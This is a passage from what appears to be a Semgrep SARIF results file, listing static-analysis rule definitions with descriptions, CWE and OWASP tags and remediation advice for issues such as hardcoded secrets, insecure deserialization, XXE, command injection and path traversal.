the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"help":{"markdown":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use)\n - [https://www.php.net/manual/en/intro.ftp.php](https://www.php.net/manual/en/intro.ftp.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php)\n","text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"helpUri":"https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use","id":"php.lang.security.ftp-use.ftp-use","name":"php.lang.security.ftp-use.ftp-use","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ftp-use.ftp-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"help":{"markdown":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"helpUri":"https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","id":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","name":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","id":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","name":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)\n","text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","id":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","name":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"help":{"markdown":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb)\n","text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","id":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","name":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","id":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","name":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","id":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","name":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"help":{"markdown":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n - [https://eprint.iacr.org/2016/759.pdf](https://eprint.iacr.org/2016/759.pdf)\n - [https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf](https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf)\n - [https://datatracker.ietf.org/doc/html/rfc9106#section-4](https://datatracker.ietf.org/doc/html/rfc9106#section-4)\n","text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"helpUri":"https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","id":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","name":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC777 tokensReceived() reentrancy"},"help":{"markdown":"ERC777 tokensReceived() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy)\n - [https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0](https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0)\n - [https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f](https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f)\n","text":"ERC777 tokensReceived() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy","id":"solidity.security.erc777-reentrancy.erc777-reentrancy","name":"solidity.security.erc777-reentrancy.erc777-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc777-reentrancy.erc777-reentrancy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"help":{"markdown":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md)\n - [https://owasp.org/www-community/attacks/HTTP_Response_Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting)\n","text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection","id":"generic.nginx.security.header-injection.header-injection","name":"generic.nginx.security.header-injection.header-injection","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-injection.header-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"help":{"markdown":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization)\n - [https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution](https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution)\n","text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","id":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","name":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","id":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","name":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-empty-password.node-mssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename","id":"javascript.express.express-fs-filename.express-fs-filename","name":"javascript.express.express-fs-filename.express-fs-filename","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-fs-filename.express-fs-filename"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe","id":"java.lang.security.xxe.validator-xxe.validator-xxe","name":"java.lang.security.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure 